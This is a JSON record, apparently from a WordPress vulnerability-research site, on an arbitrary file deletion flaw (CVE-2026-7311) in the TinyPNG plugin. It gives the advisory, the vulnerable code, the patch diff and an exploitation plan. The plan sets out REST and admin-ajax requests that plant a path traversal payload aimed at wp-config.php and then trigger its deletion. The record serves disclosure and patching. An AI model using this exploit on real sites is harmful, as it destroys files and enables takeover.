[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fTXnoDMMPcA8PujmY85O2Uvwkx6FgxtiEaXHsTFAwkeQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-7311","tinypng-authenticated-author-arbitrary-file-deletion-via-convertpath-in-tinycompressimages-post-meta","TinyPNG \u003C= 3.6.13 - Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta","The TinyPNG – JPEG, PNG & WebP image compression plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_converted_image_size function in all versions up to, and including, 3.6.13. This makes it possible for authenticated attackers, with author-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). An attacker can exploit this by injecting an arbitrary server file path into the 'convert.path' field of the 'tiny_compress_images' post meta on an attachment they own, then triggering attachment deletion to invoke the vulnerable code path.","tiny-compress-images",null,"\u003C=3.6.13","3.6.14","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-02 05:38:14","2026-07-02 18:32:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Feb8a673e-a192-41d4-b53b-7d786887242d?source=api-prod",1,[22,23,24,25,26],"readme.txt","src\u002Fclass-tiny-helpers.php","src\u002Fclass-tiny-image-size.php","src\u002Fclass-tiny-plugin.php","tiny-compress-images.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-7311\n\n## 1. Vulnerability Summary\nThe **TinyPNG – JPEG, PNG & WebP image compression** plugin (\u003C= 3.6.13) is vulnerable to **Authenticated Arbitrary File Deletion** via path traversal. The vulnerability exists in the `delete_converted_image_size` method of the `Tiny_Image_Size` class. \n\nThe plugin fails to validate or sanitize the file path stored in the `tiny_compress_images` post metadata (specifically the `convert.path` field) before passing it to the PHP `unlink()` function. Since the metadata key is not protected (it lacks the `_` prefix), an authenticated user with Author-level permissions can modify this metadata for attachments they own and then delete the attachment to trigger the deletion of an arbitrary file on the server (e.g., `wp-config.php`).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` or the WordPress REST API (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\u002F\u003Cid>`).\n*   **Vulnerable Action:** Attachment deletion, which triggers the `delete_attachment` hook.\n*   **Payload Carrier:** The `tiny_compress_images` post meta field.\n*   **Authentication Level:** Author or higher (any user capable of uploading and deleting their own media).\n*   **Preconditions:** \n    *   The attacker must be able to update post meta for an attachment they own.\n    *   The plugin must be active to register the `delete_attachment` hook.\n\n## 3. Code Flow\n1.  **Entry Point:** An Author deletes an attachment they own via the Media Library or REST API.\n2.  **Hook Trigger:** WordPress core invokes `do_action('delete_attachment', $attachment_id)`.\n3.  **Plugin Callback:** `Tiny_Plugin::clean_attachment($attachment_id, $post)` is called (registered in `src\u002Fclass-tiny-plugin.php`).\n4.  **Meta Retrieval (Inferred):** `clean_attachment` retrieves the `tiny_compress_images` metadata for the attachment.\n5.  **Size Iteration (Inferred):** The plugin iterates through the compressed sizes stored in the meta array.\n6.  **Object Instantiation:** For each size, a `Tiny_Image_Size` object is created, and its `$meta` property is populated with the size's metadata.\n7.  **Vulnerable Call:** `Tiny_Image_Size::delete_converted_image_size()` is called (defined in `src\u002Fclass-tiny-image-size.php`).\n8.  **Sink:** \n    *   `delete_converted_image_size` calls `converted_image_exists()`.\n    *   `converted_image_exists()` checks `file_exists($this->meta['convert']['path'])`.\n    *   If true, `unlink($this->meta['convert']['path'])` is executed.\n\n## 4. Nonce Acquisition Strategy\nTo update post meta and delete the attachment via the REST API, a `wp_rest` nonce is required.\n\n1.  **Identify Script Localization:** The plugin localizes scripts in `Tiny_Plugin::enqueue_scripts`. However, standard WordPress REST API nonces are more reliable for this exploit.\n2.  **Access Dashboard:** Navigate to `wp-admin\u002Findex.php`.\n3.  **Extract Nonce:** Use `browser_eval` to extract the REST nonce from the global `wpApiSettings` object:\n    *   `browser_eval(\"window.wpApiSettings?.nonce\")`\n4.  **Alternative:** The plugin's own nonce is available at `window.tinyCompress?.nonce`, but this is intended for the plugin's specific AJAX actions. The standard REST nonce is preferred for modifying media.\n\n## 5. Exploitation Strategy\nThe exploit involves three phases: Upload, Inject, and Trigger.\n\n### Phase 1: Upload Media\nUpload a dummy image to get an attachment ID.\n*   **Method:** `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia`\n*   **Headers:** \n    *   `Content-Disposition: attachment; filename=\"exploit.png\"`\n    *   `Content-Type: image\u002Fpng`\n    *   `X-WP-Nonce: [REST_NONCE]`\n\n### Phase 2: Inject Malicious Metadata\nUpdate the `tiny_compress_images` meta for the new attachment. The payload uses a path traversal string to target `wp-config.php`.\n*   **Method:** `POST \u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\u002F\u003Cattachment_id>`\n*   **Headers:** `Content-Type: application\u002Fjson`, `X-WP-Nonce: [REST_NONCE]`\n*   **Payload:**\n```json\n{\n  \"meta\": {\n    \"tiny_compress_images\": {\n      \"exploit_size\": {\n        \"convert\": {\n          \"path\": \"..\u002F..\u002F..\u002F..\u002Fwp-config.php\"\n        }\n      }\n    }\n  }\n}\n```\n*Note: If the REST API does not allow updating this meta directly because it's not registered, use the `post.php` method:*\n*   **Method:** `POST \u002Fwp-admin\u002Fpost.php`\n*   **Body (URL-encoded):** `action=editpost&post_ID=\u003Cid>&meta_input[tiny_compress_images][exploit][convert][path]=..\u002F..\u002F..\u002F..\u002Fwp-config.php&_wpnonce=[POST_NONCE]`\n\n### Phase 3: Trigger Deletion\nDelete the attachment to invoke the `unlink()` call.\n*   **Method:** `DELETE \u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\u002F\u003Cattachment_id>?force=true`\n*   **Headers:** `X-WP-Nonce: [REST_NONCE]`\n\n## 6. Test Data Setup\n1.  **User:** Create a user with the `author` role.\n2.  **Target File:** Ensure `wp-config.php` exists in the WordPress root.\n3.  **Plugin Config:** The plugin should be installed and activated. No API key is required as the vulnerable code path is in the cleanup logic, not the compression logic.\n\n## 7. Expected Results\n*   **Success Indicator:** The HTTP response for the `DELETE` request returns `200 OK`.\n*   **Primary Effect:** The `wp-config.php` file is removed from the filesystem.\n*   **Secondary Effect:** Subsequent attempts to access the site will redirect to the WordPress installation page (`wp-admin\u002Fsetup-config.php`), indicating the configuration file is missing.\n\n## 8. Verification Steps\n1.  **Check Filesystem:** Run `wp eval \"echo file_exists(ABSPATH . 'wp-config.php') ? 'exists' : 'deleted';\"` using WP-CLI.\n2.  **Verify Meta:** Before deletion, check if the meta was set correctly: `wp post meta get \u003Cattachment_id> tiny_compress_images`.\n\n## 9. Alternative Approaches\n*   **Absolute Paths:** If the absolute path to the webroot is known (e.g., `\u002Fvar\u002Fwww\u002Fhtml\u002F`), use `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php` instead of traversal.\n*   **AJAX Entry Point:** If the REST API is restricted, use the `wp_ajax_save-attachment` action:\n    *   `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n    *   Body: `action=save-attachment&id=\u003Cid>&changes[meta_input][tiny_compress_images][...][path]=...`\n*   **Different Targets:** If `wp-config.php` is read-only, target `.htaccess` or plugin files to disable security controls or cause a Denial of Service.","The TinyPNG plugin for WordPress is vulnerable to arbitrary file deletion because it fails to validate file paths stored in the 'tiny_compress_images' post metadata before passing them to the PHP unlink() function. Authenticated attackers with Author-level permissions can exploit this by setting a path traversal payload in an attachment's metadata and then deleting the attachment, potentially leading to site takeover if critical files like wp-config.php are deleted.","\u002F\u002F src\u002Fclass-tiny-image-size.php line 219\npublic function converted_image_exists() {\n\tif ( ! $this->converted() ) {\n\t\treturn false;\n\t}\n\treturn file_exists( $this->meta['convert']['path'] );\n}\n\n---\n\n\u002F\u002F src\u002Fclass-tiny-image-size.php line 238\npublic function delete_converted_image_size() {\n\tif ( $this->converted_image_exists() ) {\n\t\tunlink( $this->meta['convert']['path'] );\n\t}\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Freadme.txt\t2026-04-29 16:02:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Freadme.txt\t2026-05-15 08:53:50.000000000 +0000\n@@ -4,7 +4,7 @@\n Tags: compress images, compression, image size, page speed, performance\n Requires at least: 4.0\n Tested up to: 7.0\n-Stable tag: 3.6.13\n+Stable tag: 3.6.14\n License: GPLv2 or later\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -174,6 +174,10 @@\n A: When the conversion feature is enabled (to convert images to AVIF or WebP), each image will use double the number of credits: one for compression and one for format conversion.\n \n == Changelog ==\n+= 3.6.14 =\n+* fix: added check for valid path before deleting converted image\n+* fix: use hook uninstall_plugin instead of uninstall.php to prevent dependency deletion\n+\n = 3.6.13 =\n * fix: will copy sizes attribute to picture element\n * fix: will no longer clear logs on each save settings\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-helpers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-helpers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-helpers.php\t2026-01-28 08:59:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-helpers.php\t2026-05-15 08:53:50.000000000 +0000\n@@ -171,4 +171,28 @@\n \n \t\treturn $wp_filesystem;\n \t}\n+\n+\t\u002F**\n+\t* Polyfill for `str_starts_with()` function added in PHP 8.0.\n+\t*\n+\t* Performs a case-sensitive check indicating if\n+\t* the haystack begins with needle.\n+\t*\n+\t* @since 5.9.0\n+\t*\n+\t* @param string $haystack The string to search in.\n+\t* @param string $needle   The substring to search for in the `$haystack`.\n+\t* @return bool True if `$haystack` starts with `$needle`, otherwise false.\n+\t*\u002F\n+\tpublic static function str_starts_with( $haystack, $needle ) {\n+\t\tif ( function_exists( 'str_starts_with' ) ) {\n+\t\t\treturn str_starts_with( $haystack, $needle );\n+\t\t}\n+\n+\t\tif ( '' === $needle ) {\n+\t\t\treturn true;\n+\t\t}\n+\n+\t\treturn 0 === strpos( $haystack, $needle );\n+\t}\n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-image-size.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-image-size.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-image-size.php\t2026-01-28 08:59:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-image-size.php\t2026-05-15 08:53:50.000000000 +0000\n@@ -240,9 +240,27 @@\n \t\treturn $this->_duplicate_of_size;\n \t}\n \n+\t\u002F**\n+\t * Deletes the converted image file for this image size.\n+\t *\n+\t * @return void\n+\t *\u002F\n \tpublic function delete_converted_image_size() {\n-\t\tif ( $this->converted_image_exists() ) {\n-\t\t\tunlink( $this->meta['convert']['path'] );\n+\t\tif ( ! $this->converted_image_exists() ) {\n+\t\t\treturn;\n+\t\t}\n+\t\t$upload_dir        = wp_upload_dir();\n+\t\t$convert_real_path = realpath( $this->meta['convert']['path'] );\n+\t\t$real_basedir      = realpath( $upload_dir['basedir'] );\n+\n+\t\tif (\n+\t\t\t$convert_real_path &&\n+\t\t\tTiny_Helpers::str_starts_with(\n+\t\t\t\t$convert_real_path,\n+\t\t\t\ttrailingslashit( $real_basedir )\n+\t\t\t)\n+\t\t) {\n+\t\t\tunlink( $convert_real_path );\n \t\t}\n \t}\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-plugin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-plugin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Fsrc\u002Fclass-tiny-plugin.php\t2026-04-21 13:38:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Fsrc\u002Fclass-tiny-plugin.php\t2026-05-15 08:53:50.000000000 +0000\n@@ -18,7 +18,7 @@\n * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\u002F\n class Tiny_Plugin extends Tiny_WP_Base {\n-\tconst VERSION         = '3.6.8';\n+\tconst VERSION         = '3.6.14';\n \tconst MEDIA_COLUMN    = self::NAME;\n \tconst DATETIME_FORMAT = 'Y-m-d G:i:s';\n \n@@ -861,6 +861,14 @@\n \t\t$tiny_image->delete_converted_image();\n \t}\n \n+\t\u002F**\n+\t * Runs on uninstall\n+\t *\n+\t * @return void\n+\t *\u002F\n+\tpublic static function uninstall() {\n+\t\tTiny_Apache_Rewrite::uninstall_rules();\n+\t}\n \n \tpublic function mark_image_as_compressed() {\n \t\t$response = $this->validate_ajax_attachment_request();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Ftiny-compress-images.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Ftiny-compress-images.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13\u002Ftiny-compress-images.php\t2026-04-21 13:38:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.14\u002Ftiny-compress-images.php\t2026-05-15 08:53:50.000000000 +0000\n@@ -2,7 +2,7 @@\n \u002F**\n  * Plugin Name: TinyPNG - JPEG, PNG & WebP image compression\n  * Description: Speed up your website. Optimize your JPEG, PNG, and WebP images automatically with TinyPNG.\n- * Version: 3.6.13\n+ * Version: 3.6.14\n  * Author: TinyPNG\n  * Author URI: https:\u002F\u002Ftinypng.com\n  * Text Domain: tiny-compress-images\n@@ -38,3 +38,8 @@\n }\n \n $tiny_plugin = new Tiny_Plugin();\n+\n+register_uninstall_hook(\n+\t__FILE__,\n+\tarray( 'Tiny_Plugin', 'uninstall' )\n+);\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftiny-compress-images\u002F3.6.13: uninstall.php","The exploit requires an authenticated user with Author level privileges or higher. 1. The attacker uploads a legitimate media file to obtain a valid attachment ID. 2. Using the REST API or the post.php editor, the attacker updates the 'tiny_compress_images' post metadata for their attachment. Since the meta key is not protected by an underscore prefix, it can be manipulated to include a path traversal string (e.g., '..\u002F..\u002F..\u002F..\u002Fwp-config.php') in the 'convert.path' field. 3. The attacker deletes the attachment, which triggers the 'delete_attachment' hook. This hook executes the plugin's cleanup logic, eventually calling unlink() on the malicious path defined in the metadata, resulting in the deletion of the target file.","gemini-3-flash-preview","2026-07-25 10:10:58","2026-07-25 10:12:36",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.6.13","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftiny-compress-images\u002Ftags\u002F3.6.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftiny-compress-images.3.6.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftiny-compress-images\u002Ftags\u002F3.6.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftiny-compress-images.3.6.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftiny-compress-images\u002Ftags"]